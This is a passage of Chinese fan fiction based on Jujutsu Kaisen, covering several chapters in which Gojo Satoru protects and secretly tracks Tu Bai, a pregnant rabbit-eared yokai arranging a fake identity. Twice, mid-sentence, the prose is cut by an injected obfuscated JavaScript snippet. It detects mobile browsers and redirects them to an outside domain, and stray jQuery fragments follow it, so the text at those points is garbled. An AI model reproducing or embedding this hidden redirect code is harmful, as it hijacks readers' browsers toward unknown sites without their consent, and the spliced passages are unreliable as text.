过了大概五分钟,门开了。五条悟走出来,脸上没什么表情,但涂白能感觉到他心情不太好。那种“不太好”不是生气,更像是一种冰冷的、压着火的烦躁。 “怎么了?”涂白问。 五条悟愣了一下,随即笑起来,笑容和平时没什么两样:“没什么,高专那边有点事。夜蛾让我过去一趟。” “现在?” “嗯,现在。”五条悟走到玄关,抓起外套,“我很快回来,你好好吃饭,吃完再休息会儿。” 他拉开门,又回头看了涂白一眼,视线在那两只耳朵上停留了一秒,然后说:“耳朵很可爱。不用特意收起来。” 门关上了。 涂白一个人坐在餐桌前,看着对面空了的座位,还有五条悟盘子里剩了一半的早餐。 他伸手摸了摸自己的耳朵。毛茸茸的,温热的。 可爱吗? 他放下手,拿起叉子,又吃了两口煎蛋,但味同嚼蜡。最后他放下餐具,把盘子端进厨房,洗了,擦干,放回柜子里。 做完这些,他走回客厅,在沙发上坐下。耳朵还支棱在头顶,他试了试,还是收不回去。 算了。他靠在沙发里,闭上眼睛。 脑子里乱糟糟的。五条悟刚才那个电话,他避开自己的举动,还有那句“高专那边有点事”…… 涂白睁开眼睛,拿出手机,点开加密的聊天软件。他给中介发了条消息:“最近风声怎么样?” 对方很快回复:“正常。但建议你低调点,最近上面好像有点动静。” “什么动静?” “不清楚,但听说咒术界高层最近在严查非登记人员,尤其是非人类种族。你小心点。” 涂白盯着那行字,手指慢慢收紧。 非人类种族。严查。 他退出聊天软件,打开浏览器,犹豫了一下,输入关键词:“咒术总监会近期动向”。 跳出来的大多是无关的新闻和官方通告。他翻了半天,终于在一个咒术师匿名论坛的角落里看到一条三天前的帖子,标题是:“听说最近在搞内部清洗?” 帖子内容很短,只有几句话:“有风声说要清理‘不稳定因素’,特别是那些来历不明、疑似异类的。不知道是不是针对谁。” 下面有零星的回复,有人猜测是针对某些自由咒术师,有人说是针对最近冒头的诅咒师集团。但有一条回复被顶了上来:“听说跟五条家那位有关。” 再往下翻,帖子就被删除了。 涂白盯着屏幕,感觉后背有点发凉。 他关掉手机,靠在沙发里,手不自觉地护住小腹。那里还平坦着,但他能感觉到那团能量的存在,温暖,稳定,像是在提醒他什么。 疑似异类。来历不明。 这两个词像针一样扎进他心里。 --- 五条悟直到下午才回来。 他进门的时候脸色如常,甚至还带了涂白喜欢的那家甜品店的泡芙。但他把泡芙盒子递给涂白时,涂白注意到他手指关节有点红,像是用力握过什么东西。 “高专的事处理完了?”涂白接过盒子,问。 “嗯,一点小麻烦。”五条悟脱掉外套,在沙发上坐下,揉了揉脖子,“解决了。” 他说得很轻松。但涂白能感觉到,他身上有种还没完全散去的、冰冷的压迫感。那是战斗或者对峙后残留的气息。 “什么麻烦?”涂白问,打开泡芙盒子。里面是四个奶油泡芙,表皮酥脆,撒着糖粉。 五条悟看了他一眼,笑了笑:“就是几个老头子啰嗦,跟他们讲了下道理。” 讲道理。涂白想,五条悟的“讲道理”通常不会太和平。 他没再追问,拿起一个泡芙咬了一口。奶油很甜,带着香草味。他慢慢吃着,眼睛看着电视,但余光注意着五条悟。 五条悟靠在沙发里,拿着手机在打字。他打字的速度很快,手指在屏幕上飞快移动,眉头微微皱着。过了一会儿,他似乎发完了,把手机扔到一边,长长地吐了口气。 “累了?”涂白问。 “有点。”五条悟转过头看他,冰蓝色的眼睛在客厅灯光下显得有点疲惫,“你今天怎么样?耳朵还收不回去?” 涂白抬手摸了摸头顶。耳朵还在,而且因为放松,这会儿正软软地垂在脑袋两侧。他摇摇头:“还是不行。” “那就别勉强了。”五条悟说,伸手过来,很轻地捏了捏他右耳的尖端,“这样也挺好。” 涂白耳朵抖了抖,但没躲开。他低头继续吃泡芙,奶油沾了一点在嘴角。 五条悟盯着他看了几秒,然后自然的凑过来,用拇指擦掉他嘴角的奶油。 涂白僵了一下。 五条悟收回手,拇指在自己嘴唇上碰了碰,舔掉了那点奶油。然后他笑起来:“挺甜的。” 涂白感觉脸颊发烫,别开脸,把剩下的泡芙塞进嘴里,嚼得飞快。 五条悟笑得更开心了,但他没再逗涂白,而是重新靠回沙发里,闭上眼睛,像是要小憩一会儿。 客厅里安静下来。只有电视在放一个综艺节目,里面的艺人在夸张地大笑。 涂白吃完泡芙,把盒子盖好,放在茶几上。他侧过头,看向五条悟。 那人闭着眼睛,呼吸平缓,像是睡着了。但涂白知道他没睡——五条悟睡觉时不会这么端正地坐着,他通常会瘫成一团,或者直接躺在沙发上。 他在想事情。 涂白收回视线,也靠进沙发里。他抬起手,又摸了摸自己的耳朵。毛茸茸的,暖暖的。 但也正是他是异类的证明。 他闭上眼睛。 --- 晚上,涂白做了个梦。 梦里他在一片空旷的地方,周围白茫茫的,什么也看不见。他往前走,想找到出口,但怎么走都走不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168523|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 然后他听见声音。很多人的声音,嗡嗡的,听不清在说什么,但能感觉到其中的恶意和排斥。 “非我族类……怪物……” “来历不明……” “危险……” 声音越来越大,越来越近。涂白想跑,但腿像灌了铅一样沉。他低头看,发现自己怀里抱着一个襁褓,里面是个小小的婴儿,闭着眼睛,睡得很安详。 他得保护宝宝。 他转身想跑,可四面八方都有人围过来。那些人穿着咒术总监会的制服,脸是模糊的,只有嘴巴在动,不停地说着那些话。 “把他抓出来……” “杀了他……” “怪物……” 涂白抱紧怀里的婴儿,后退,后退,直到后背抵上冰冷的墙壁。无路可退了。 那些人伸出手,要抢走他怀里的孩子。 “不要——!” 涂白猛地睁开眼睛。 卧室里一片黑暗。他喘着气,胸口剧烈起伏,后背全是冷汗。他下意识伸手去摸旁边——空的。 五条悟不在床上。 涂白坐起来,心脏还在狂跳。梦里的恐惧还残留在身体里,让他手指发冷。他抱住膝盖,把脸埋进去,深呼吸,试图平静下来。 几秒后,他听见门被轻轻推开的声音。 他抬起头。五条悟站在门口,手里拿着一杯水。他显然是被涂白的叫声惊醒的,头发有点乱,睡衣领口敞开着。 “做噩梦了?”五条悟走进来,把水杯放在床头柜上,在床边坐下。 涂白点点头,没说话。他还有点没缓过来,身体还在微微发抖。 五条悟看着他,没问梦到了什么。他伸出手,把涂白揽进怀里,一只手很轻地拍着他的背。 “没事了。”五条悟说,声音很低,在安静的卧室里显得格外清晰,“我在这儿。” 涂白把脸埋在他肩膀,闻到他身上熟悉的、干净的味道。那味道让他慢慢放松下来,身体不再发抖。 五条悟一直轻轻拍着他的背,动作很缓,很有节奏。过了一会儿,他开始哼歌。 调子还是跑得离谱,根本听不出是什么曲子。但他哼得很轻,很慢,在黑暗里像是一种温柔的白噪音。 涂白闭上眼睛。噩梦的余悸还在,但被这个怀抱和这荒腔走板的歌声一点点驱散了。 他感觉到五条悟的手从拍背变成很轻地抚摸他的头发,手指偶尔会碰到他的耳朵。耳朵抖了抖,软软地垂下来。 “睡吧。”五条悟说,声音更低了,“我守着你。” 涂白没动。他保持这个姿势,听着五条悟的心跳,感受着他怀里的温度。 过了很久,久到他以为五条悟可能也睡着了,他才轻轻地嗯了一声。 五条悟没再说话。他只是继续哼着那首不成调的歌,手一直轻轻抚摸着涂白的头发。 窗外的月光漏进来一点,在地板上投出模糊的光斑。 涂白在这个怀抱里,慢慢重新有了睡意。意识模糊前,他脑子里闪过一个念头。 如果有一天,五条悟不在了…… 他不敢想下去。 他抓紧了五条悟的衣角,像是抓住最后一根救命稻草。 五条悟的歌声停了一下。然后,他更紧地抱住了涂白。 那一夜,涂白再没做噩梦。 但他不知道的是,在他睡着后,五条悟轻轻松开他,给他盖好被子,然后拿起手机,走到阳台。 凌晨三点的东京,安静得只有远处偶尔的车声。 五条悟拨通了一个号码。电话响了两声就被接起来了,对面传来一个女人慵懒的声音:“这么晚,有事?” “冥冥。”五条悟说,声音压得很低,但带着冰冷的质感,“帮我查一下,今天总监会那份报告是谁递的。” 电话那头沉默了两秒,然后传来一声轻笑:“怎么,你家小兔子被盯上了,终于坐不住了?” “少废话。”五条悟说,“开个价。” “哎呀,这么大方。”冥冥的声音还是带着笑意,“不过我建议你冷静点。那份报告虽然措辞严厉,但目前还没有实质动作。你这时候跳出来,反而会让他们更关注他。” 五条悟没说话。他握着手机,冰蓝色的眼睛在夜色里沉得像寒潭。 “当然,如果你坚持要查,我也不是不能接。”冥冥继续说,“老规矩,先付定金,查到多少给多少。” “账号发我。”五条悟说,“三天内我要结果。” “这么急?”冥冥顿了顿,“行,看在老客户的份上。不过五条,我得提醒你,你护得了一时,护不了一世。只要他在你身边,就永远是那些人的靶子。” “我知道。”五条悟说,语气平静得可怕,“所以我没打算一直这样下去。” 电话那头安静了片刻。然后冥冥说:“明白了。账号马上发你。还有……祝你好运。” 电话挂断了。 五条悟放下手机,靠在阳台栏杆上。夜风吹过来,有点凉。他抬头看着夜空,东京的光污染太严重,看不见星星。 他想起刚才涂白做噩梦时发抖的样子,还有那双因为恐惧而睁大的红眼睛。 也想起今天在总监会,那几个老头子拿着所谓的“报告”,用那种居高临下的语气说“非我族类,其心必异”。 五条悟闭上眼睛,再睁开时,里面没有任何温度。 他转身走回卧室,轻轻关上门。涂白还在睡,蜷缩着,手里还无意识地抓着他刚才躺过的位置的床单。 五条悟在床边坐下,伸手摸了摸涂白的头发,手指碰到那两只柔软的兔耳朵。 耳朵抖了抖,但没有醒。 五条悟盯着涂白的睡脸,看了很久。 然后他低下头,克制的在涂白额头落下一个吻。 “别怕。”他用只有自己能听见的声音说,“谁也别想把你从我身边带走。” “谁也别想。” 28.第28章 :他怀疑了 涂白的食欲越来越差。 不是孕吐那种翻江倒海的恶心,而是看着食物就觉得没胃口,吃两口就饱了,再多塞一口都想吐。连着三天,他早饭只喝半杯牛奶,午饭吃几口米饭,晚饭勉强多塞点蔬菜,肉基本碰都不碰。 五条悟看在眼里。他开始变着花样带吃的回来,今天这家店的布丁,明天那家店的蛋糕,后天又是新出的水果塔。涂白每次都接过来,说谢谢,然后吃一两口就放下。 “不合口味?”五条悟问,眉头微微皱着。 涂白摇头:“不是,就是……吃不下。” 五条悟盯着他看了一会儿,没说话。第二天他回来得比平时晚,手里拎着一个超市塑料袋。涂白听见厨房里传来洗东西、切东西的声音,还有五条悟有点笨拙的、似乎在对照手机的声音。 半小时后,五条悟端着一个盘子出来,放在涂白面前的茶几上。 盘子里是切好的苹果,但被雕成了兔子的形状——勉强能看出是兔子,耳朵一只大一只小,眼睛位置刻歪了,看起来有点滑稽。 “这是什么?”涂白盯着盘子,问。 “兔子苹果。”五条悟在他旁边坐下,语气里带着点得意,“网上学的。说是能增进食欲。” 涂白拿起叉子,戳了戳其中一只“兔子”。苹果很新鲜,切口处有点氧化发黄,但兔子耳朵的形状还是能看出来——虽然歪歪扭扭的。 他叉起一小块,放进嘴里。苹果很甜,很脆。 “怎么样?”五条悟问,眼睛亮亮地看着他。 涂白嚼着苹果,没说话。他又叉了一块,又一块。盘子里的兔子苹果被他一点点吃掉,最后只剩下一堆小小的苹果核。 “好吃吗?”五条悟又问。 涂白抬起头,看着五条悟。那人脸上带着点期待,还有一点因为不熟练而残留的紧张。他穿着家居服,袖子挽到手肘,手指上沾着一点苹果汁,在灯光下亮晶晶的。 涂白突然笑了。 不是平时那种礼貌的、克制的笑,而是真的觉得好笑,嘴角弯起来,眼睛也弯起来。他看着盘子里剩下的苹果核,又看看五条悟,笑出了声。 五条悟愣了一下,然后也跟着笑起来:“笑什么,我第一次做,能做成这样已经很不错了好吗。” 涂白还在笑,笑着笑着,他感觉眼睛有点热。他低下头,盯着盘子,手指无意识地抠着叉子的边缘。 “谢谢。”他小声说,声音有点哑。 五条悟伸手过来,揉了揉他的头发:“谢什么。能多吃点就行。” 涂白没抬头。他感觉眼眶越来越热,有什么东西要涌出来。他用力眨眼睛,把那股酸涩压回去。 不能哭。没理由哭。 他只是……只是有点累了。 --- 又过了两天,涂白注意到公寓周围的变化。 不是明显的变化,而是一种细微的、几乎察觉不到的能量波动。像是一层薄薄的膜,把整个公寓罩了起来。他走到窗边,伸手去碰玻璃——指尖感觉到轻微的阻力,还有一丝熟悉的、属于五条悟的咒力残留。 结界。而且是比之前强大得多的结界。 涂白收回手,站在窗前,看着楼下的街道。下午的阳光很好,行人来来往往,车流缓慢移动。一切看起来都很正常。 但他知道,有什么东西变了。 至少,不能像以前那样随意出去了。 晚饭时,五条悟提起了这件事。 “最近外面不太平。”他一边给涂白夹菜一边说,语气随意,“有几个诅咒师团体在闹事,总监会那边也在发疯。你最近尽量少出门,要买东西跟我说,我去买。” 涂白低头吃着碗里的菜,没接话。 “尤其是产检那天。”五条悟继续说,“我会陪你去,但路上要小心点。硝子那边我打过招呼了,她会安排单独的诊室,不会有人打扰。” 涂白放下筷子:“我自己可以去。” “不行。”五条悟说,语气很温和,但不容拒绝,“外面危险。我不放心。” 涂白抬起头,看着五条悟。那人戴着墨镜,他看不清对方的眼睛,但能感觉到那份坚持。 “你觉得我会拖累你?”涂白问,声音有点冷。 五条悟愣了一下:“我不是这个意思——” “那你是什么意思?”涂白打断他,“把我关在这里,哪里也不让去,这就是你说的‘保护’?” 五条悟没说话。他放下筷子,摘下墨镜,冰蓝色的眼睛看着涂白,眼神很认真。 “小白。”他说,“我不是要关着你。我只是……不想你出事。” “我能出什么事?”涂白站起来,声音不自觉地抬高,“我是咒术师,一级咒术师。我有能力保护自己,不需要你像看小孩一样看着我!” “你现在不是一个人。”五条悟也站起来,声音沉下来,“你有孩子。任何一点风险我都不能冒。” “孩子孩子,你就只知道孩子!”涂白脱口而出,说完他自己都愣住了。 五条悟也愣住了。他看着涂白,眉头慢慢皱起来:“你这话是什么意思?” 涂白张了张嘴,没说出话。他别开脸,深吸一口气:“没什么意思。我吃饱了。” 他转身走进卧室,关上门。 靠在门后,他听着外面客厅的动静。五条悟没有跟进来,也没有说话。过了很久,他听见收拾碗筷的声音,水声,然后是电视打开的声音——音量调得很低。 涂白滑坐在地上,抱住膝盖。 他刚才在干什么?为什么要说那种话? 计划里没有这一出。他应该扮演依赖的、需要保护的孕夫,而不是这样尖锐地反抗。 可他控制不住。那种被关起来的感觉,那种无论做什么都在别人监视下的窒息感,让他喘不过气。 他需要出去。他必须出去。 产检的日子就在后天。他需要去见那个中介,把最后一批资料交出去,确认假身份的进度。 他不能被困在这里。 --- 产检当天,天气不好,阴天,风很大。 涂白早上起来就没什么精神,孕吐反应比平时严重,在卫生间干呕了好几分钟才缓过来。五条悟一直陪着他,给他递水,拍背,等涂白好点了才去做早饭。 吃饭的时候两人都没怎么说话。涂白安静地喝粥,五条悟安静地看手机,气氛有点僵。 吃完早饭,涂白换衣服。他选了宽松的卫衣和长裤,外面套一件厚外套。五条悟也换好了衣服——高专的制服,外面是那件黑色外套。 “走吧。”五条悟说,拿起车钥匙。 涂白点点头,跟在他后面出门。 结界在他们出门的瞬间自动打开一个缺口,等他们出去后又无声合拢。涂白回头看了一眼公寓楼,那种被囚禁的感觉又涌上来。 他收回视线,上了车。 车往高专方向开。硝子的医务室不在高专主校区,而在后面一栋独立的建筑里,相对安静隐蔽。 路上车不多,但五条悟开得很慢。他时不时从后视镜里看涂白,涂白一直看着窗外,没说话。 “还难受吗?”五条悟问。 “好点了。”涂白说。 五条悟点点头,没再说话。 车开到一半,涂白突然开口:“我想喝奶茶。” 五条悟从后视镜里看他:“现在?” “嗯。”涂白说,“就前面那家,我记得有卖热奶茶。” 五条悟看了一眼路边的奶茶店,店面很小,门口排着几个人。他犹豫了一下:“我先送你去硝子那儿,再回来买?” “我想现在喝。”涂白说,声音不大,但很坚持,“热的,加珍珠,三分糖。” 五条悟沉默了几秒,然后打了转向灯,把车靠边停下。 “你在车上等,我去买。”他说,解开安全带。 “我跟你一起去。”涂白说,也解开安全带,“车里闷。” 五条悟看着他,墨镜后的眼睛看不清情绪。过了一会儿,他点头:“行,那你跟紧我。” 两人下了车。风很大,吹得涂白头发乱飞。他把外套拉链拉高,跟着五条悟往奶茶店走。 排队的人不多,大概五六个。五条悟站在队伍最后,涂白站在他旁边,眼睛看着菜单。 “你要喝什么?”五条悟问。 “就热奶茶,加珍珠。”涂白说,顿了顿,“你要不要也买一杯?” “好啊。”五条悟说。 队伍慢慢往前挪。快轮到他们的时候,涂白突然“啊”了一声。 “怎么了?”五条悟立刻问。 “我钱包忘在车上了。”涂白说,语气懊恼,“手机也没带。” 五条悟看着他,没说话。 “你去帮我拿一下吧?”涂白说,指了指停在路边的车,“马上就轮到我们了。” 五条悟盯着他看了几秒。然后他点头:“行,你在这儿等着,别乱跑。” “知道了。”涂白说。 五条悟转身往车那边走。涂白看着他走远,然后迅速从队伍里退出来,转身拐进旁边的小巷。 巷子很窄,两边是居民楼的背面,堆着一些杂物。涂白快步走到巷子深处,那里停着一辆黑色的旧车,车窗贴着深色的膜。 他敲了敲车窗。车窗降下来一半,露出一张中年男人的脸,戴着一副普通的眼镜,看起来像个普通的上班族。 “东西呢?”男人问,声音很低。 涂白从外套内袋里拿出一个信封,递进去:“都在里面。照片,指纹,还有要求的签名。” 男人接过信封,打开快速检查了一下,然后点点头:“三天后,老地方,拿护照和身份证。” “钱呢?”涂白问。 “已经到你指定的账户了。”男人说,“尾款等东西到手再付。” 涂白点点头。他看了一眼巷口,没人。 “走了。”他说,转身要走。 “等等。”男人叫住他,从车里递出来一个小纸袋,“这个给你。客户说送你个小礼物。” 涂白接过纸袋,没打开,直接塞进外套口袋。然后他快步走出巷子,回到奶茶店门口。 五条悟还没回来。 涂白松了口气,重新排回队伍里。他前面还有两个人,正在点单。 他感觉心脏跳得很快,手心在冒汗。他用力握了握拳,深呼吸,让自己冷静下来。 没事的。五条悟没看见。他应该没看见。 又过了半分钟,五条悟回来了。他手里拿着涂白的钱包,走过来,很自然地把钱包递给他。 “找到了,在副驾驶座位下面。”五条悟说,语气平常。 涂白接过钱包:“谢谢。” 正好轮到他们点单。涂白点了热奶茶加珍珠,五条悟点了杯美式咖啡。等饮料的时候,两人都没说话。 涂白能感觉到五条悟的视线落在他身上,但他没敢回看。他盯着柜台后面店员制作饮料的动作,手指无意识地抠着钱包边缘。 饮料好了。五条悟接过两杯饮料,把热奶茶递给涂白。 “小心烫。”他说。 涂白点点头,接过奶茶。杯壁很热,透过纸杯传到掌心。 两人回到车上。涂白系好安全带,捧着奶茶,小口小口地喝。奶茶很甜,珍珠很Q,热流顺着食道下去,让紧绷的神经稍微放松了一点。 “好喝吗?”五条悟问,发动车子。 “嗯。”涂白说。 五条悟笑了笑,没再说话。 车子重新上路。涂白看着窗外,手里捧着奶茶,另一只手悄悄伸进口袋,摸了摸那个小纸袋。 纸袋里是个硬硬的小东西,摸起来像是个U盘。 他收回手,继续喝奶茶。 --- 产检很顺利。硝子给涂白做了常规检查,测了血压,听了胎心(用特殊的咒具模拟),又抽了点血(说是检查营养指标)。整个过程五条悟都陪在旁边,硝子说什么他都认真听,偶尔问几个问题。 “状态还不错。”硝子最后说,摘下一次性手套,“就是有点营养不良,要多吃点。情绪也要尽量平稳,别太焦虑。” 涂白点头:“知道了,谢谢硝子小姐。” 硝子看了他一眼,又看了五条悟一眼,没说什么。她收拾好东西,走出诊室,留下两人。 五条悟帮涂白把外套披上:“走吧,回家。” 回家的路上,涂白一直在想那个小纸袋里的东西。U盘里会是什么?中介说的“小礼物”是什么? 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174003|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要找个机会单独查看。 但回到公寓后,五条悟好像不打算出门了。他陪着涂白吃了午饭,然后说下午要在家里处理点工作,进了书房。 涂白在客厅坐了一会儿,然后回卧室,关上门。 他从外套口袋里拿出那个小纸袋,打开。里面确实是个U盘,黑色的,没有任何标记。还有一个很小的纸条,上面写着一行字:“备用方案。必要时用。” 涂白把纸条撕碎,扔进垃圾桶,然后拿着U盘,走到书桌前,打开电脑。 他把U盘插进去,输入密码。里面只有一个文件夹,点开,是一份详细的、关于某个北欧小国的资料:生活环境,医疗条件,教育体系,还有……妖族社区的情况。 以及一个联系方式。 涂白盯着屏幕,看了很久。然后他关掉文件夹,拔掉U盘,握在手里。 备用方案。 意思是,如果原计划失败,或者出现意外,他可以联系这个人,寻求帮助。 他需要把这个U盘收好,藏在最安全的地方。 他站起来,走到衣柜前,拉开最底下的抽屉。里面是他的一些旧物,几件不常穿的衣服,还有一些杂七杂八的小东西。他把U盘塞进一件毛衣的袖子里,重新叠好,放回抽屉最里面。 做完这些,他关上抽屉,直起身。 然后他感觉到,空气中的能量波动,好像和早上出门前不一样了。 他走到窗边,伸手碰了碰玻璃。 结界还在,但多了一层东西——很微弱,几乎察觉不到,但确实存在。像是一层细细的网,覆盖在结界表面,任何穿过它的东西都会引起波动,被布下结界的人感知到。 感知预警功能。 五条悟给结界加了监控。 涂白收回手,站在窗前,看着外面阴沉的天空。 所以五条悟可能知道了什么。至少,他怀疑了。 不然不会突然加固结界,还加上这种功能。 涂白转过身,背靠着窗户,慢慢滑坐在地上。他抱住膝盖,把脸埋进去。 晚上,涂白失眠了。 他躺在床上,眼睛盯着天花板,脑子里乱糟糟的。结界的变化,U盘里的资料,五条悟今天在奶茶店外的眼神……所有东西搅在一起,让他睡不着。 他侧过身,手轻轻放在小腹上。 那里还是平坦的,但他能感觉到里面宝宝的存在。他轻轻抚摸着,像是能透过皮肤碰到那个小小的存在。 “对不起。”他小声说,声音在安静的卧室里几乎听不见,“爸爸好像……把一切都搞砸了。” 窗外有风声,呜咽一样,刮过楼宇之间。 涂白闭上眼睛,但睡意全无。 而在隔壁书房,五条悟也没睡。 他坐在书桌前,面前摊着几份文件,但他没在看。他摘了墨镜,冰蓝色的六眼睁着,视线穿透墙壁,落在卧室里那个人身上。 他能看见涂白蜷缩在床上的轮廓,能看见他手放在小腹上的动作,能看见他胸口因为呼吸而轻微的起伏。 也能看见,小腹处那团温暖的、模拟得极其精妙的生命能量。 他知道,涂白在害怕,在焦虑,在背着他做一些事情。 他也知道,自己布下的结界和预警功能,涂白一定察觉到了。 所以今晚,涂白会失眠。 五条悟靠在椅背上,仰起头,闭上眼睛。再睁开时,他眼中闪过一丝疲惫。 他从抽屉里拿出一个小盒子,打开。里面是一个手环,银色,样式简洁,表面有细细的咒纹雕刻。 这是一个定位和紧急呼救的咒具。他请冥冥帮忙弄来的,花了不少钱。 明天给小白吧。五条悟想。就说……是护身符。 他关上盒子,放回抽屉。 然后他继续坐在那里,六眼依然睁着,凝视着墙壁另一端那个模糊的光团,还有那个蜷缩着的身影。 一夜无眠。 --- 第二天早上,涂白顶着黑眼圈从卧室出来时,五条悟已经在厨房做早饭了。 “早。”五条悟回头看他,语气如常,“睡得不好?” “有点。”涂白说,在餐桌边坐下。 五条悟把煎蛋和吐司端过来,放在他面前。然后又转身,从客厅拿过来一个小盒子,放在涂白手边。 “这个给你。”五条悟说,在他对面坐下。 涂白打开盒子。里面是一个银色的手环,很细,很精致,表面有复杂的纹路。 “这是什么?”他问。 “护身符。”五条悟说,语气轻松,“我托人做的,戴着能安神,也能……嗯,保护你。” 涂白拿起手环,看了看。他能感觉到上面有咒力的波动,很微弱,但确实存在。不止安神,还有定位功能,甚至可能还有别的。 “太贵重了。”他把手环放回盒子里。 “不贵重。”五条悟把盒子推回来,“戴着吧。就当是为了让我安心。” 涂白看着盒子里的手环,又看看五条悟。那人脸上带着笑,但眼神里有种不容拒绝的坚持。 “好吧。”涂白说,拿起手环,戴在左手手腕上。 手环有点凉,但尺寸合适,不紧不松。咒力波动在接触皮肤的瞬间变得微弱,像是融入了他的气息。 “谢谢。”涂白说。 五条悟笑了:“谢什么。快吃吧,蛋要凉了。” 涂白低下头,开始吃早饭。手环在手腕上微微发凉,提醒着他一些事情。 他需要尽快做一个仿品。一个外表一样,但没有定位功能的仿品。 然后把这个真的换下来。 他咬了一口煎蛋,味同嚼蜡。 而对面的五条悟,看着他低头吃饭的样子,看着他手腕上那个银色的手环,冰蓝色的眼睛里闪过一丝复杂的神色。 他拿起手机,给冥冥发了条消息:“东西他戴上了。谢了。” 几秒后,冥冥回复:“不客气。不过五条,你真的确定要这样?监控自己的伴侣,这可不是什么好兆头。” 五条悟盯着那条消息,没回。 他关掉手机,继续吃自己的早饭。 餐桌上一片安静。 只有两人咀嚼食物的声音,和窗外偶尔传来的鸟叫。 29.第29章 :出事了 五条悟是中午接到的紧急联络。 涂白正坐在沙发上看电视,一个美食节目,主持人夸张地赞美着某家店的拉面。五条悟的手机响了,他拿起来看了一眼,眉头皱起。 “高专?”涂白问,眼睛还盯着电视。 “嗯。”五条悟站起来,走到窗边接电话,“怎么了?” 涂白能听见电话那头急促的声音,但听不清具体内容。五条悟听着,偶尔应一两声,声音很平静,但涂白注意到他握着手机的手指收紧了。 两三分钟后,五条悟挂断电话,走回来。 “我得出去一趟。”他说,从衣架上拿下外套,“京都那边出了点问题,夜蛾让我过去处理一下。” “现在?”涂白看了眼窗外,天气很好,阳光透过玻璃洒进来,暖洋洋的。 “现在。”五条悟穿上外套,抓起车钥匙,“我尽量晚饭前回来。你一个人在家可以吗?” 涂白点点头:“可以。” 五条悟看着他,犹豫了一下:“要不……你跟我一起去?” 涂白摇头:“我去了也帮不上忙,还添乱。你去吧,我就在家待着。” 五条悟没再坚持。他走过来,弯下腰,在涂白额头上亲了一下:“别出门,外面不安全。有什么事给我打电话。” “知道了。”涂白说。 五条悟直起身,又看了他一眼,然后转身拉开门出去了。 涂白听见电梯到达的声音,门开,门关,然后走廊里安静下来。 他靠在沙发里,继续看电视。拉面看起来很好吃,热气腾腾的,汤很浓,叉烧很厚。可他没什么胃口。 手腕上的银色手环在阳光下反射着细微的光。他抬起手,看了看。手环很精致,咒纹雕刻得很细密,摸上去有轻微的凹凸感。 定位,监控,保护。 也像一道枷锁。 涂白放下手,站起来,走到窗边。楼下的小区花园里,樱花开了,粉白色的一片,风一吹就簌簌地落。几个小孩在树下跑来跑去,笑声隐约传上来。 今天的天气真的很好。 他低头看了看手环。五条悟说别出门,外面不安全。 可他被关在这个公寓里太久了。一周?两周?记不清了。每天就是吃饭,睡觉,看电视,偶尔收拾屋子。像只被养在笼子里的鸟。 他想出去走走。哪怕只是在楼下花园里坐一会儿。 涂白走回卧室,换了身衣服——宽松的卫衣,运动裤,外面套一件薄外套。他想了想,还是戴了个口罩,把帽子也戴上了。 走到玄关,他犹豫了一下。手腕上的手环微微发着光,像是在提醒他什么。 但他还是拉开了门。 结界在他出门的瞬间波动了一下,但没有阻拦。五条悟似乎没有设置禁止出入的功能,只是加固了防御和预警。 涂白走进电梯,按下1楼。 --- 小区花园里人不多。下午两点多,大部分人要么在上班,要么在家里午休。只有几个老人在长椅上晒太阳,还有刚才那几个小孩在玩。 涂白找了个偏僻的长椅坐下,离人群远一些。樱花开得正好,风一吹,花瓣就纷纷扬扬地落下来,有几片落在他肩膀上。 他抬起手,接住一片花瓣。粉色的,很薄,边缘有点卷曲。 阳光透过樱花树的缝隙洒下来,在他脚边投下斑驳的光影。空气里有青草和泥土的味道,还有淡淡的花香。 涂白靠在长椅背上,闭上眼睛。 很久没有这样安静地坐着了。不用想计划,不用演戏,不用时刻紧绷着神经。 他感觉紧绷的神经一点点放松下来。 手腕上的手环突然轻微震动了一下。 涂白睁开眼睛,抬起手看了看。手环上的咒纹亮了一下,又暗下去。像是某种提醒,或者……检测? 他从口袋里拿出手机,屏幕上是五条悟十分钟前发来的消息:【到京都了。情况比想的麻烦,可能要晚点回来。你好好在家待着。】 涂白盯着那条消息看了几秒,然后打字回复:【知道了。注意安全。】 他发了个兔子点头的表情包。 消息显示已读。几秒后,五条悟回复:【乖。给你带限定樱花大福。】 涂白看着那条回复,嘴角不自觉地弯了一下。但他很快收起表情,把手机放回口袋。 限定樱花大福。听起来很好吃。 他重新闭上眼睛,继续享受这难得的宁静。 --- 变故发生得很突然。 涂白先是感觉到周围温度骤降。不是天气变化的那种降温,而是一种阴冷的、带着恶意气息的寒意。他睁开眼睛,看见阳光下的樱花树,草地,长椅——一切都蒙上了一层淡淡的灰影。 咒灵。 而且不止一只。 涂白立刻站起来,手按在胸口,调动妖力。他感觉到小腹处的宝宝微微动了一下,像是在提醒他小心。 不能全力战斗。他得护着宝宝。 第一个咒灵从树影里扑出来,形状像一团扭曲的黑雾,伸出几条触手一样的东西抓向涂白。涂白后退一步,右手虚握,构筑术式发动。 银色的光芒在他掌心凝聚,瞬间成型为一柄长刀。他挥刀斩断触手,黑雾发出刺耳的尖啸,后退了几步。 但紧接着,第二个、第三个咒灵从不同方向扑来。都是低级咒灵,实力不强,但数量多,而且……动作很协调,像是被什么东西操控着。 涂白一边挥刀抵挡,一边后退。他不敢用太耗费妖力的大范围术式,只能边打边退,构筑出简单的盾牌挡住攻击。 公园里的其他人呢?那些老人,小孩—— 